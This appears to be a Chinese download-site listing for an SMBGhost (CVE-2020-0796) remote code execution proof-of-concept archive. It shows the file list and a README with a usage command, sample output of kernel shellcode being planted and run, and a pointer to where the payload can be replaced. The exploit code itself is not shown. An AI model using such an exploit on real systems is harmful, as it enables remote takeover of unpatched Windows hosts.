ZIP永恒之黑使用的资源包SMB 19.2KB

2201_75433925

资源文件列表:

SMBGhost_RCE_PoC-master (2).zip 大约有9个文件
  1. .gitignore 1.76KB
  2. __pycache__/
  3. __pycache__/lznt1.cpython-312.pyc 5.5KB
  4. __pycache__/smb_win.cpython-312.pyc 9.72KB
  5. exploit.py 19.2KB
  6. kernel_shellcode.asm 8.03KB
  7. lznt1.py 4.51KB
  8. README.md 1.5KB
  9. smb_win.py 5.47KB

资源介绍:

永恒之黑使用的资源包SMB
# SMBGhost_RCE_PoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other than self education is an extremely bad idea. Your computer will burst in flames. Puppies will die. Now that that's out of the way.... Usage ex: ``` $SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131 [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff79480000000 [+] ntoskrnl entry at fffff80645792010 [+] found PML4 self-ref entry 1eb [+] found HalpInterruptController at fffff79480001478 [+] found HalpApicRequestInterrupt at fffff80645cb3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000a00! [+] Press a key to execute shellcode! [+] overwrote HalpInterruptController pointer, should have execution shortly... ``` Replace payload in USER_PAYLOAD in exploit.py. Max of 600 bytes. If you want more, modify the kernel shell code yourself. lznt1 code from [here](https://github.com/you0708/lznt1). Modified to add a "bad compression" function to corrupt SRVNET buffer header without causing a crash. See this excellent write up by Ricera Security for more details on the methods I used: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
100+评论
captcha
    相关资源
    类型标题大小时间
    ZIPNavicat Premium 1264.66MB4月前
    ZIPkarabiner-vim-mode-plus-master.zip21.73KB4月前
    ZIPFREERTOS系统在STM32F103C8T6上运行的模板5.76MB4月前
    ZIP百科融创主车代码，嵌入式应用开发赛项18.68MB4月前
    ZIPj-link纯驱动，不带各种周边49.96KB4月前
    ZIP蚕茧缺陷检测数据集VOC+YOLO格式523张4类别.zip411B4月前
    ZIPforest+fires.zip8.72KB4月前
    ZIPPro.20241203_继承 (1).zip208.6KB4月前